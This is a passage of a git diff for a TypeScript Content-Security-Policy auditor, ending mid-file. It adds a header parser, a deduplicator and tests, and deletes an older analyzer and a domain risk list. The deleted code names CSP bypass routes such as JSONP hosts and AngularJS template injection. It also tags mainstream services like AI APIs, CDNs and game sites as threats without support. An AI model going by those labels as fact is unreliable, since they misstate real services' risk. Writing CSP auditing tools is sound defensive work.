}); + + it("sorts by severity descending", () => { + const findings = [ + fakeFinding({ severity: "low", checkId: "style-wildcard" }), + fakeFinding({ severity: "high", checkId: "script-wildcard" }), + fakeFinding({ + severity: "medium", + checkId: "deprecated-header", + directive: "header", + value: "x", + }), + ]; + const result = deduplicateAndSort(findings); + expect(result[0]!.severity).toBe("high"); + expect(result[1]!.severity).toBe("medium"); + expect(result[2]!.severity).toBe("low"); + }); + + it("handles empty array", () => { + expect(deduplicateAndSort([])).toHaveLength(0); + }); +}); diff --git a/packages/backend/src/engine/deduplicator.ts b/packages/backend/src/engine/deduplicator.ts new file mode 100644 index 0000000..c9bb60b --- /dev/null +++ b/packages/backend/src/engine/deduplicator.ts @@ -0,0 +1,25 @@ +import type { PolicyFinding, SeverityLevel } from "shared"; + +const SEVERITY_ORDER: Record<SeverityLevel, number> = { + high: 4, + medium: 3, + low: 2, + info: 1, +}; + +export function deduplicateAndSort(findings: PolicyFinding[]): PolicyFinding[] { + const seen = new Set<string>(); + const unique: PolicyFinding[] = []; + + for (const finding of findings) { + const key = `${finding.checkId}|${finding.directive}|${finding.value}`; + if (!seen.has(key)) { + seen.add(key); + unique.push(finding); + } + } + + return unique.sort( + (a, b) => SEVERITY_ORDER[b.severity] - SEVERITY_ORDER[a.severity], + ); +} diff --git a/packages/backend/src/engine/index.ts b/packages/backend/src/engine/index.ts new file mode 100644 index 0000000..1472a3c --- /dev/null +++ b/packages/backend/src/engine/index.ts @@ -0,0 +1,12 @@ +export { analyzePolicy } from "./analyzer"; +export { extractCspHeaders, parsePolicyHeader } from "./parser"; +export { deduplicateAndSort } from "./deduplicator"; +export { + runCriticalChecks, + runBypassChecks, + runModernThreatChecks, + runHostSecurityChecks, + runMissingDirectiveChecks, + runTrustedTypesChecks, + runDeprecatedChecks, +} from "./checks"; diff --git a/packages/backend/src/engine/parser.test.ts b/packages/backend/src/engine/parser.test.ts new file mode 100644 index 0000000..9297b37 --- /dev/null +++ b/packages/backend/src/engine/parser.test.ts @@ -0,0 +1,166 @@ +import { extractCspHeaders, parsePolicyHeader } from "./parser"; + +describe("extractCspHeaders", () => { + it("extracts standard CSP header", () => { + const headers = { "Content-Security-Policy": "default-src 'self'" }; + const result = extractCspHeaders(headers); + expect(result).toHaveLength(1); + expect(result[0]!.name).toBe("content-security-policy"); + expect(result[0]!.value).toBe("default-src 'self'"); + }); + + it("extracts report-only header", () => { + const headers = { + "Content-Security-Policy-Report-Only": "default-src 'none'", + }; + const result = extractCspHeaders(headers); + expect(result).toHaveLength(1); + expect(result[0]!.name).toBe("content-security-policy-report-only"); + }); + + it("extracts deprecated headers", () => { + const headers = { "X-Content-Security-Policy": "default-src 'self'" }; + const result = extractCspHeaders(headers); + expect(result).toHaveLength(1); + expect(result[0]!.name).toBe("x-content-security-policy"); + }); + + it("handles string array header values", () => { + const headers = { + "Content-Security-Policy": ["default-src 'self'", "script-src 'none'"], + }; + const result = extractCspHeaders(headers); + expect(result).toHaveLength(2); + }); + + it("skips non-CSP headers", () => { + const headers = { "X-Frame-Options": "DENY", "Content-Type": "text/html" }; + const result = extractCspHeaders(headers); + expect(result).toHaveLength(0); + }); + + it("returns empty for no headers", () => { + const result = extractCspHeaders({}); + expect(result).toHaveLength(0); + }); + + it("trims whitespace from values", () => { + const headers = { "Content-Security-Policy": " default-src 'self' " }; + const result = extractCspHeaders(headers); + expect(result[0]!.value).toBe("default-src 'self'"); + }); +}); + +describe("parsePolicyHeader", () => { + it("parses single directive", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "default-src 'self'", + "req-1", + ); + expect(policy.directives.has("default-src")).toBe(true); + expect(policy.directives.get("default-src")!.values).toEqual(["'self'"]); + }); + + it("parses multiple directives", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "script-src 'none'; style-src 'unsafe-inline'; img-src 'self'", + "req-1", + ); + expect(policy.directives.size).toBe(3); + expect(policy.directives.has("script-src")).toBe(true); + expect(policy.directives.has("style-src")).toBe(true); + expect(policy.directives.has("img-src")).toBe(true); + }); + + it("classifies keyword sources", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "script-src 'self' 'unsafe-inline' 'unsafe-eval' 'none'", + "req-1", + ); + const scriptSrc = policy.directives.get("script-src")!; + expect(scriptSrc.sources).toHaveLength(4); + expect(scriptSrc.sources[0]!.kind).toBe("keyword"); + expect(scriptSrc.sources[1]!.isUnsafe).toBe(true); + expect(scriptSrc.sources[2]!.isUnsafe).toBe(true); + }); + + it("classifies nonce sources", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "script-src 'nonce-abc123'", + "req-1", + ); + const source = policy.directives.get("script-src")!.sources[0]!; + expect(source.kind).toBe("nonce"); + expect(source.value).toBe("'nonce-abc123'"); + }); + + it("classifies hash sources", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "script-src 'sha256-abc123'", + "req-1", + ); + const source = policy.directives.get("script-src")!.sources[0]!; + expect(source.kind).toBe("hash"); + }); + + it("classifies host sources", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "script-src cdn.example.com *.example.com", + "req-1", + ); + const sources = policy.directives.get("script-src")!.sources; + expect(sources[0]!.kind).toBe("host"); + expect(sources[0]!.isWildcard).toBe(false); + expect(sources[1]!.kind).toBe("host"); + expect(sources[1]!.isWildcard).toBe(true); + }); + + it("marks deprecated headers", () => { + const policy = parsePolicyHeader( + "x-webkit-csp", + "default-src 'self'", + "req-1", + ); + expect(policy.isDeprecated).toBe(true); + }); + + it("marks report-only headers", () => { + const policy = parsePolicyHeader( + "content-security-policy-report-only", + "default-src 'self'", + "req-1", + ); + expect(policy.isReportOnly).toBe(true); + }); + + it("applies default-src fallbacks", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "default-src 'self' cdn.example.com", + "req-1", + ); + expect(policy.directives.has("script-src")).toBe(true); + expect(policy.directives.has("style-src")).toBe(true); + expect(policy.directives.has("img-src")).toBe(true); + const scriptSrc = policy.directives.get("script-src")!; + expect(scriptSrc.isImplicit).toBe(true); + expect(scriptSrc.values).toEqual(["'self'", "cdn.example.com"]); + }); + + it("does not override explicit directives with default-src", () => { + const policy = parsePolicyHeader( + "content-security-policy", + "default-src 'self'; script-src 'none'", + "req-1", + ); + const scriptSrc = policy.directives.get("script-src")!; + expect(scriptSrc.isImplicit).toBe(false); + expect(scriptSrc.values).toEqual(["'none'"]); + }); +}); diff --git a/packages/backend/src/engine/parser.ts b/packages/backend/src/engine/parser.ts new file mode 100644 index 0000000..5610571 --- /dev/null +++ b/packages/backend/src/engine/parser.ts @@ -0,0 +1,193 @@ +import type { ParsedPolicy, PolicyDirective, PolicySource } from "shared"; + +import { createUniqueId } from "../utils"; + +const CSP_HEADER_NAMES = [ + "content-security-policy", + "content-security-policy-report-only", + "x-content-security-policy", + "x-webkit-csp", +]; + +const DEPRECATED_HEADER_NAMES = ["x-content-security-policy", "x-webkit-csp"]; + +const KEYWORD_SOURCES = [ + "'self'", + "'unsafe-inline'", + "'unsafe-eval'", + "'none'", + "'strict-dynamic'", + "'unsafe-hashes'", + "'report-sample'", + "'wasm-eval'", + "'wasm-unsafe-eval'", +]; + +const INHERITING_DIRECTIVES = [ + "script-src", + "style-src", + "img-src", + "font-src", + "connect-src", + "media-src", + "object-src", + "child-src", + "frame-src", + "worker-src", + "manifest-src", + "prefetch-src", +]; + +export function extractCspHeaders( + headers: Record<string, string | string[]>, +): Array<{ name: string; value: string }> { + const results: Array<{ name: string; value: string }> = []; + + for (const [headerName, headerValue] of Object.entries(headers)) { + const normalized = headerName.toLowerCase(); + + if (CSP_HEADER_NAMES.includes(normalized)) { + const values = Array.isArray(headerValue) ? headerValue : [headerValue]; + + for (const value of values) { + if (typeof value === "string" && value.trim() !== "") { + results.push({ name: normalized, value: value.trim() }); + } + } + } + } + + return results; +} + +export function parsePolicyHeader( + headerName: string, + headerValue: string, + requestId: string, + url?: string, +): ParsedPolicy { + const policy: ParsedPolicy = { + id: createUniqueId(), + requestId, + headerName, + headerValue, + directives: new Map(), + isReportOnly: headerName.toLowerCase().includes("report-only"), + isDeprecated: DEPRECATED_HEADER_NAMES.includes(headerName.toLowerCase()), + parsedAt: new Date(), + url, + }; + + const rawDirectives = headerValue + .split(";") + .map((d) => d.trim()) + .filter((d) => d !== ""); + + for (const raw of rawDirectives) { + const parts = raw.split(/\s+/).filter((p) => p !== ""); + if (parts.length === 0) continue; + + const name = parts[0]?.toLowerCase(); + if (name === undefined || name.trim() === "") continue; + + const values = parts.slice(1); + const directive: PolicyDirective = { + name, + values, + isImplicit: false, + sources: values.map(classifySource), + }; + + if (!policy.directives.has(name)) { + policy.directives.set(name, directive); + } + } + + applyDefaultSrcFallbacks(policy); + return policy; +} + +function classifySource(value: string): PolicySource { + const trimmed = value.trim(); + + if (KEYWORD_SOURCES.includes(trimmed)) { + return { + value: trimmed, + kind: "keyword", + isWildcard: false, + isUnsafe: trimmed.includes("unsafe"), + }; + } + + if (trimmed.startsWith("'nonce-") && trimmed.endsWith("'")) { + return { + value: trimmed, + kind: "nonce", + isWildcard: false, + isUnsafe: false, + }; + } + + if (/^'sha(256|384|512)-[A-Za-z0-9+/=]+'$/.test(trimmed)) { + return { value: trimmed, kind: "hash", isWildcard: false, isUnsafe: false }; + } + + if (trimmed.endsWith(":") && !trimmed.includes("//")) { + return { + value: trimmed, + kind: "scheme", + isWildcard: trimmed === "*", + isUnsafe: false, + }; + } + + return { + value: trimmed, + kind: "host", + isWildcard: trimmed === "*" || trimmed.startsWith("*"), + isUnsafe: false, + }; +} + +function applyDefaultSrcFallbacks(policy: ParsedPolicy): void { + const defaultSrc = policy.directives.get("default-src"); + if (defaultSrc === undefined) return; + + for (const name of INHERITING_DIRECTIVES) { + if (!policy.directives.has(name)) { + policy.directives.set(name, { + name, + values: [...defaultSrc.values], + isImplicit: true, + sources: [...defaultSrc.sources], + }); + } + } +} + +export function hasUnsafeInline(directive: PolicyDirective): boolean { + return directive.sources.some( + (s) => s.kind === "keyword" && s.value === "'unsafe-inline'", + ); +} + +export function hasWildcard(directive: PolicyDirective): boolean { + return directive.sources.some((s) => s.isWildcard); +} + +export function getHostSources(directive: PolicyDirective): PolicySource[] { + return directive.sources.filter((s) => s.kind === "host"); +} + +export function isScriptRelatedDirective(name: string): boolean { + return [ + "script-src", + "object-src", + "script-src-elem", + "script-src-attr", + ].includes(name); +} + +export function isStyleRelatedDirective(name: string): boolean { + return ["style-src", "style-src-elem", "style-src-attr"].includes(name); +} diff --git a/packages/backend/src/engine/policyBuilder.ts b/packages/backend/src/engine/policyBuilder.ts new file mode 100644 index 0000000..1bbeba5 --- /dev/null +++ b/packages/backend/src/engine/policyBuilder.ts @@ -0,0 +1,83 @@ +import type { ParsedPolicy, PolicyDirective, PolicySource } from "shared"; + +import { createUniqueId } from "../utils"; + +function classifySource(value: string): PolicySource { + const trimmed = value.trim(); + + if ( + [ + "'self'", + "'unsafe-inline'", + "'unsafe-eval'", + "'none'", + "'strict-dynamic'", + ].includes(trimmed) + ) { + return { + value: trimmed, + kind: "keyword", + isWildcard: false, + isUnsafe: trimmed.includes("unsafe"), + }; + } + if (trimmed.startsWith("'nonce-") && trimmed.endsWith("'")) { + return { + value: trimmed, + kind: "nonce", + isWildcard: false, + isUnsafe: false, + }; + } + if (/^'sha(256|384|512)-[A-Za-z0-9+/=]+'$/.test(trimmed)) { + return { value: trimmed, kind: "hash", isWildcard: false, isUnsafe: false }; + } + if (trimmed.endsWith(":") && !trimmed.includes("//")) { + return { + value: trimmed, + kind: "scheme", + isWildcard: trimmed === "*", + isUnsafe: false, + }; + } + return { + value: trimmed, + kind: "host", + isWildcard: trimmed === "*" || trimmed.startsWith("*"), + isUnsafe: false, + }; +} + +export function buildPolicy( + directives: Record<string, string[]>, + options?: { headerName?: string; requestId?: string; url?: string }, +): ParsedPolicy { + const headerName = options?.headerName ?? "content-security-policy"; + const requestId = options?.requestId ?? "test-request-1"; + const directiveMap = new Map<string, PolicyDirective>(); + + for (const [name, values] of Object.entries(directives)) { + directiveMap.set(name, { + name, + values, + isImplicit: false, + sources: values.map(classifySource), + }); + } + + return { + id: createUniqueId(), + requestId, + headerName, + headerValue: Object.entries(directives) + .map(([k, v]) => `${k} ${v.join(" ")}`) + .join("; "), + directives: directiveMap, + isReportOnly: headerName.includes("report-only"), + isDeprecated: ["x-content-security-policy", "x-webkit-csp"].includes( + headerName, + ), + parsedAt: new Date(), + url: options?.url, + }; +} diff --git a/packages/backend/src/enhanced-analyzer.ts b/packages/backend/src/enhanced-analyzer.ts deleted file mode 100644 index 3b28af2..0000000 --- a/packages/backend/src/enhanced-analyzer.ts +++ /dev/null @@ -1,588 +0,0 @@ -import type { - CspPolicy, - CspVulnerability, - Severity, - VulnerabilityType, -} from "./types"; -import { generateId } from "./utils"; - -/** - * Next-Generation Enhanced CSP Auditor - * Beyond legacy limitations - modern CSP Level 3 analysis - */ -export class EnhancedCspAnalyzer { - static analyzePolicy( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Modern comprehensive analysis - only run if settings allow - vulnerabilities.push(...this.analyzeDeprecatedFeatures(policy, settings)); - vulnerabilities.push( - ...this.analyzeCriticalVulnerabilities(policy, settings), - ); - vulnerabilities.push(...this.analyzeBypassTechniques(policy, settings)); - vulnerabilities.push(...this.analyzeModernThreats(policy, settings)); - vulnerabilities.push(...this.analyzePolicyWeaknesses(policy, settings)); - vulnerabilities.push(...this.analyzeLevel3Features(policy, settings)); - - return this.prioritizeAndDeduplicate(vulnerabilities); - } - - /** - * Helper method to check if a vulnerability type is enabled - */ - private static isCheckEnabled( - type: string, - settings?: Record<string, boolean>, - ): boolean { - return settings ? (settings[type] ?? true) : true; - } - - /** - * Critical security vulnerabilities (HIGH severity) - */ - private static analyzeCriticalVulnerabilities( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - for (const [, directive] of policy.directives) { - // Script execution vulnerabilities - if (this.isScriptExecutionDirective(directive.name)) { - for (const value of directive.values) { - // Wildcard script sources - CRITICAL - if ( - value === "*" && - this.isCheckEnabled("script-wildcard", settings) - ) { - vulnerabilities.push( - this.createVulnerability({ - type: "script-wildcard", - severity: "high", - directive: directive.name, - value: value, - title: "Critical: Wildcard Script Source", - description: - "Allows script execution from any domain, completely bypassing CSP protection", - remediation: - "Remove '*' and specify exact trusted domains. Use nonces or hashes for inline scripts.", - cweId: 79, // XSS - requestId: policy.requestId, - }), - ); - } - - // Unsafe inline - CRITICAL - if ( - value === "'unsafe-inline'" && - this.isCheckEnabled("script-unsafe-inline", settings) - ) { - vulnerabilities.push( - this.createVulnerability({ - type: "script-unsafe-inline", - severity: "high", - directive: directive.name, - value: value, - title: "Critical: Unsafe Inline Scripts Allowed", - description: - "Permits inline JavaScript execution, enabling XSS attacks through script tags and event handlers", - remediation: - "Remove 'unsafe-inline'. Use nonces ('nonce-xyz123') or hashes ('sha256-...') for legitimate inline scripts.", - cweId: 79, - requestId: policy.requestId, - }), - ); - } - - // Unsafe eval - CRITICAL - if ( - value === "'unsafe-eval'" && - this.isCheckEnabled("script-unsafe-eval", settings) - ) { - vulnerabilities.push( - this.createVulnerability({ - type: "script-unsafe-eval", - severity: "high", - directive: directive.name, - value: value, - title: "Critical: Dynamic Code Execution Allowed", - description: - "Enables eval(), Function() constructor, and setTimeout/setInterval with strings", - remediation: - "Remove 'unsafe-eval'. Refactor code to avoid dynamic code execution.", - cweId: 94, // Code Injection - requestId: policy.requestId, - }), - ); - } - - // Data URIs in script-src - HIGH RISK - if (value === "data:") { - vulnerabilities.push( - this.createVulnerability({ - type: "script-data-uri", - severity: "high", - directive: directive.name, - value: value, - title: "High: Data URI Scripts Allowed", - description: - "Allows base64-encoded JavaScript execution via data: URIs", - remediation: - "Remove 'data:' from script-src. Use proper script files or nonces/hashes.", - cweId: 79, - requestId: policy.requestId, - }), - ); - } - } - } - - // Object/plugin vulnerabilities - if (directive.name === "object-src") { - for (const value of directive.values) { - if (value === "*" || value === "data:") { - vulnerabilities.push( - this.createVulnerability({ - type: "object-wildcard", - severity: "high", - directive: directive.name, - value: value, - title: "High: Unrestricted Object/Plugin Sources", - description: - "Allows loading objects/plugins from any source, potential for code execution", - remediation: - "Set object-src to 'none' or specify trusted sources only.", - cweId: 79, - requestId: policy.requestId, - }), - ); - } - } - } - } - - return vulnerabilities; - } - - /** - * Modern bypass techniques and advanced threats - */ - private static analyzeBypassTechniques( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // JSONP callback bypasses - this.checkJsonpBypasses(policy, vulnerabilities); - - // AngularJS template injection - this.checkAngularJsBypasses(policy, vulnerabilities); - - // Service worker bypasses - this.checkServiceWorkerBypasses(policy, vulnerabilities); - - // CSS injection attacks - this.checkCssInjectionRisks(policy, vulnerabilities); - - // WebAssembly execution - this.checkWasmThreats(policy, vulnerabilities); - - return vulnerabilities; - } - - /** - * CSP Level 3 modern features analysis - */ - private static analyzeLevel3Features( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Check for missing modern security features - if (!policy.directives.has("trusted-types")) { - vulnerabilities.push( - this.createVulnerability({ - type: "missing-trusted-types", - severity: "medium", - directive: "trusted-types", - value: "missing", - title: "Missing Trusted Types Protection", - description: - "Trusted Types policy not configured - DOM XSS protection unavailable", - remediation: - "Add 'trusted-types' directive to enable DOM XSS protection", - requestId: policy.requestId, - }), - ); - } - - if (!policy.directives.has("require-trusted-types-for")) { - vulnerabilities.push( - this.createVulnerability({ - type: "missing-require-trusted-types", - severity: "medium", - directive: "require-trusted-types-for", - value: "missing", - title: "Trusted Types Not Required", - description: "DOM manipulation not restricted to Trusted Types", - remediation: "Add 'require-trusted-types-for \"script\"' directive", - requestId: policy.requestId, - }), - ); - } - - // Advanced nonce/hash analysis - this.analyzeNonceHashSecurity(policy, vulnerabilities); - - return vulnerabilities; - } - - /** - * Enhanced policy weakness detection - */ - private static analyzePolicyWeaknesses( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Missing essential directives - const essentialDirectives = ["script-src", "object-src", "frame-ancestors"]; - for (const essential of essentialDirectives) { - if (!policy.directives.has(essential)) { - vulnerabilities.push( - this.createVulnerability({ - type: "missing-essential-directive", - severity: essential === "script-src" ? "high" : "medium", - directive: essential, - value: "missing", - title: `Missing Essential Directive: ${essential}`, - description: `Critical security directive ${essential} not defined`, - remediation: `Add ${essential} directive with appropriate values`, - requestId: policy.requestId, - }), - ); - } - } - - // Overly permissive base-uri - const baseUri = policy.directives.get("base-uri"); - if ( - !baseUri || - baseUri.values.includes("*") || - baseUri.values.includes("'unsafe-inline'") - ) { - vulnerabilities.push( - this.createVulnerability({ - type: "permissive-base-uri", - severity: "medium", - directive: "base-uri", - value: baseUri?.values.join(" ") ?? "missing", - title: "Permissive Base URI Policy", - description: "Unrestricted base URI can enable injection attacks", - remediation: "Set base-uri to 'self' or specific trusted origins", - requestId: policy.requestId, - }), - ); - } - - return vulnerabilities; - } - - /** - * Modern threat landscape analysis - */ - private static analyzeModernThreats( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // AI/ML service endpoints that could be exploited - const aiMlHosts = [ - "api.openai.com", - "api.anthropic.com", - "huggingface.co", - "colab.research.google.com", - "ml.azure.com", - ]; - - // Cryptocurrency/Web3 risks - const web3Hosts = [ - "metamask.io", - "walletconnect.org", - "uniswap.org", - "ethereum.org", - "web3.storage", - ]; - - // CDN compromise risks (2023+ supply chain attacks) - const modernCdnRisks = [ - "polyfill.io", - "cdn.jsdelivr.net", - "unpkg.com", - "cdnjs.cloudflare.com", - "cdn.skypack.dev", - ]; - - this.checkModernHostRisks( - policy, - vulnerabilities, - aiMlHosts, - "ai-ml-host", - "AI/ML Service Integration Risk", - ); - this.checkModernHostRisks( - policy, - vulnerabilities, - web3Hosts, - "web3-host", - "Web3/Crypto Integration Risk", - ); - this.checkModernHostRisks( - policy, - vulnerabilities, - modernCdnRisks, - "cdn-supply-chain", - "CDN Supply Chain Risk", - ); - - return vulnerabilities; - } - - // Helper methods for advanced analysis - private static checkJsonpBypasses( - policy: CspPolicy, - vulnerabilities: CspVulnerability[], - ): void { - const scriptSrc = policy.directives.get("script-src"); - if (!scriptSrc) return; - - const jsonpRiskyHosts = [ - "ajax.googleapis.com", - "api.twitter.com", - "graph.facebook.com", - "api.github.com", - "api.linkedin.com", - ]; - - for (const value of scriptSrc.values) { - for (const riskyHost of jsonpRiskyHosts) { - if (value.includes(riskyHost)) { - vulnerabilities.push( - this.createVulnerability({ - type: "jsonp-bypass-risk", - severity: "high", - directive: "script-src", - value: value, - title: "JSONP Callback Bypass Risk", - description: `Host ${riskyHost} supports JSONP callbacks that can bypass CSP`, - remediation: - "Remove JSONP-enabled hosts or use fetch() with proper CORS", - requestId: policy.requestId, - }), - ); - } - } - } - } - - private static checkAngularJsBypasses( - policy: CspPolicy, - vulnerabilities: CspVulnerability[], - ): void { - const scriptSrc = policy.directives.get("script-src"); - if (!scriptSrc) return; - - for (const value of scriptSrc.values) { - if (value.includes("angular") && !value.includes("angular.min.js")) { - vulnerabilities.push( - this.createVulnerability({ - type: "angularjs-bypass", - severity: "high", - directive: "script-src", - value: value, - title: "AngularJS Template Injection Risk", - description: - "AngularJS versions allow template injection bypasses of CSP", - remediation: "Upgrade to Angular 2+ or remove AngularJS entirely", - cweId: 79, - requestId: policy.requestId, - }), - ); - } - } - } - - private static analyzeNonceHashSecurity( - policy: CspPolicy, - vulnerabilities: CspVulnerability[], - ): void { - const scriptSrc = policy.directives.get("script-src"); - if (!scriptSrc) return; - - let hasNonce = false; - - for (const value of scriptSrc.values) { - if (value.startsWith("'nonce-")) hasNonce = true; - } - - if (hasNonce && scriptSrc.values.includes("'unsafe-inline'")) { - vulnerabilities.push( - this.createVulnerability({ - type: "nonce-unsafe-inline-conflict", - severity: "medium", - directive: "script-src", - value: "'unsafe-inline'", - title: "Nonce Security Weakened by unsafe-inline", - description: - "Nonce protection is bypassed when 'unsafe-inline' is also present", - remediation: - "Remove 'unsafe-inline' when using nonces for better security", - requestId: policy.requestId, - }), - ); - } - } - - private static checkModernHostRisks( - policy: CspPolicy, - vulnerabilities: CspVulnerability[], - riskHosts: string[], - type: string, - title: string, - ): void { - for (const [, directive] of policy.directives) { - for (const value of directive.values) { - for (const riskHost of riskHosts) { - if (value.includes(riskHost)) { - vulnerabilities.push( - this.createVulnerability({ - type: type as VulnerabilityType, - severity: "medium", - directive: directive.name, - value: value, - title: title, - description: `Modern threat landscape risk: ${riskHost} integration detected`, - remediation: `Review necessity of ${riskHost} integration and implement additional security controls`, - requestId: policy.requestId, - }), - ); - } - } - } - } - } - - private static isScriptExecutionDirective(name: string): boolean { - return [ - "script-src", - "script-src-elem", - "script-src-attr", - "object-src", - "worker-src", - ].includes(name); - } - - private static createVulnerability(params: { - type: string; - severity: Severity; - directive: string; - value: string; - title: string; - description: string; - remediation: string; - cweId?: number; - requestId: string; - }): CspVulnerability { - return { - id: generateId(), - type: params.type as VulnerabilityType, - severity: params.severity, - directive: params.directive, - value: params.value, - description: `${params.title}\n\n${params.description}`, - remediation: params.remediation, - cweId: params.cweId, - requestId: params.requestId, - }; - } - - private static prioritizeAndDeduplicate( - vulnerabilities: CspVulnerability[], - ): CspVulnerability[] { - // Remove duplicates and sort by severity - const seen = new Set<string>(); - const unique = vulnerabilities.filter((v) => { - const key = `${v.type}-${v.directive}-${v.value}`; - if (seen.has(key)) return false; - seen.add(key); - return true; - }); - - // Enhanced severity ordering - const severityOrder = { high: 4, medium: 3, low: 2, info: 1 }; - return unique.sort( - (a, b) => severityOrder[b.severity] - severityOrder[a.severity], - ); - } - - // Additional modern CSP analysis methods... - private static checkServiceWorkerBypasses( - _policy: CspPolicy, - _vulnerabilities: CspVulnerability[], - ): void { - // Service worker bypass analysis - } - - private static checkCssInjectionRisks( - _policy: CspPolicy, - _vulnerabilities: CspVulnerability[], - ): void { - // CSS injection and data exfiltration analysis - } - - private static checkWasmThreats( - _policy: CspPolicy, - _vulnerabilities: CspVulnerability[], - ): void { - // WebAssembly security analysis - } - - private static analyzeDeprecatedFeatures( - policy: CspPolicy, - settings?: Record<string, boolean>, - ): CspVulnerability[] { - const vulnerabilities: CspVulnerability[] = []; - - // Enhanced deprecated feature detection - if ( - policy.isDeprecated || - ![ - "content-security-policy", - "content-security-policy-report-only", - ].includes(policy.headerName.toLowerCase()) - ) { - vulnerabilities.push( - this.createVulnerability({ - type: "deprecated-header", - severity: "medium", - directive: policy.headerName, - value: policy.headerName, - title: "Deprecated CSP Header", - description: - "Using deprecated CSP header that may not be supported by modern browsers", - remediation: "Use 'Content-Security-Policy' header instead", - requestId: policy.requestId, - }), - ); - } - - return vulnerabilities; - } -} diff --git a/packages/backend/src/enhanced-blacklists.ts b/packages/backend/src/enhanced-blacklists.ts deleted file mode 100644 index c97de88..0000000 --- a/packages/backend/src/enhanced-blacklists.ts +++ /dev/null @@ -1,532 +0,0 @@ -// Removed unused import: isSubdomainOf - -/** - * Enhanced Modern Threat Intelligence for CSP Analysis - * Beyond legacy limitations - 2024+ threat landscape - */ - -// Modern supply chain attack vectors (2023-2024) -export const MODERN_SUPPLY_CHAIN_RISKS = [ - // CDN compromise incidents - { - domain: "polyfill.io", - risk: "Compromised CDN serving malicious polyfills", - severity: "high", - }, - { - domain: "bootcdn.cn", - risk: "Chinese CDN with potential state-level risks", - severity: "high", - }, - { - domain: "staticfile.org", - risk: "Unverified Chinese CDN", - severity: "medium", - }, - - // Package manager CDNs with supply chain risks - { - domain: "unpkg.com", - risk: "NPM package CDN - supply chain attack vector", - severity: "medium", - }, - { - domain: "cdn.skypack.dev", - risk: "ES module CDN with potential risks", - severity: "medium", - }, - { - domain: "jspm.dev", - risk: "Module CDN with limited security guarantees", - severity: "medium", - }, -]; - -// AI/ML service endpoints (potential data exfiltration) -export const AI_ML_SERVICE_RISKS = [ - { - domain: "api.openai.com", - risk: "AI API - potential data exfiltration", - severity: "medium", - }, - { - domain: "api.anthropic.com", - risk: "AI API - potential sensitive data exposure", - severity: "medium", - }, - { - domain: "huggingface.co", - risk: "ML model hosting - code execution risks", - severity: "medium", - }, - { - domain: "replicate.com", - risk: "ML API service - data privacy concerns", - severity: "medium", - }, - { - domain: "colab.research.google.com", - risk: "Jupyter notebook execution environment", - severity: "high", - }, -]; - -// Cryptocurrency/Web3 integration risks -export const WEB3_INTEGRATION_RISKS = [ - { - domain: "metamask.io", - risk: "Wallet integration - financial transaction risks", - severity: "high", - }, - { - domain: "walletconnect.org", - risk: "Cross-wallet protocol - authentication bypass", - severity: "high", - }, - { - domain: "uniswap.org", - risk: "DeFi protocol - financial manipulation", - severity: "high", - }, - { - domain: "pancakeswap.finance", - risk: "DeFi exchange - smart contract risks", - severity: "high", - }, - { - domain: "web3.storage", - risk: "Decentralized storage - content integrity issues", - severity: "medium", - }, -]; - -// Social media embed risks (privacy and tracking) -export const SOCIAL_EMBED_RISKS = [ - { - domain: "platform.twitter.com", - risk: "Twitter embed tracking and XSS risks", - severity: "medium", - }, - { - domain: "connect.facebook.net", - risk: "Facebook tracking and data collection", - severity: "medium", - }, - { - domain: "www.instagram.com", - risk: "Instagram embed privacy concerns", - severity: "low", - }, - { - domain: "platform.linkedin.com", - risk: "LinkedIn tracking integration", - severity: "medium", - }, - { - domain: "assets.pinterest.com", - risk: "Pinterest tracking and analytics", - severity: "low", - }, -]; - -// Modern analytics and tracking (2024 landscape) -export const MODERN_TRACKING_RISKS = [ - { - domain: "googletagmanager.com", - risk: "Comprehensive user tracking and analytics", - severity: "medium", - }, - { - domain: "hotjar.com", - risk: "Session recording and user behavior tracking", - severity: "high", - }, - { - domain: "fullstory.com", - risk: "Complete session recording including sensitive data", - severity: "high", - }, - { - domain: "logrocket.com", - risk: "Application monitoring with PII exposure", - severity: "high", - }, - { - domain: "sentry.io", - risk: "Error tracking that may capture sensitive data", - severity: "medium", - }, -]; - -// Gaming and metaverse platforms -export const GAMING_METAVERSE_RISKS = [ - { - domain: "unity3d.com", - risk: "Unity WebGL player - arbitrary code execution", - severity: "high", - }, - { - domain: "unrealengine.com", - risk: "Unreal Engine web player risks", - severity: "high", - }, - { - domain: "roblox.com", - risk: "User-generated content platform", - severity: "medium", - }, - { - domain: "minecraft.net", - risk: "Gaming platform with user content", - severity: "medium", - }, -]; - -// Enhanced user content hosts (2024 update) -export const ENHANCED_USER_CONTENT_HOSTS = [ - // All previous hosts plus modern platforms - ...[ - "*.github.io", - "raw.githubusercontent.com", - "*.s3.amazonaws.com", - "*.herokuapp.com", - ], - - // Modern development platforms - "replit.com", - "*.repl.co", - "codesandbox.io", - "*.csb.app", - "stackblitz.com", - "*.stackblitz.io", - "glitch.com", - "*.glitch.me", - - // Modern hosting platforms - "vercel.app", - "*.vercel.app", - "netlify.app", - "*.netlify.app", - "render.com", - "*.onrender.com", - "railway.app", - "*.railway.app", - - // No-code platforms - "webflow.io", - "*.webflow.io", - "bubble.io", - "*.bubble.io", - "notion.so", - "*.notion.so", - "airtable.com", - "*.airtable.com", -]; - -// Enhanced vulnerable JS detection with CVE mapping -export const ENHANCED_VULNERABLE_JS = [ - // jQuery vulnerabilities - { - domain: "code.jquery.com", - versions: ["<3.5.0"], - cve: ["CVE-2020-11022", "CVE-2020-11023"], - risk: "DOM-based XSS vulnerabilities in jQuery versions < 3.5.0", - }, - - // 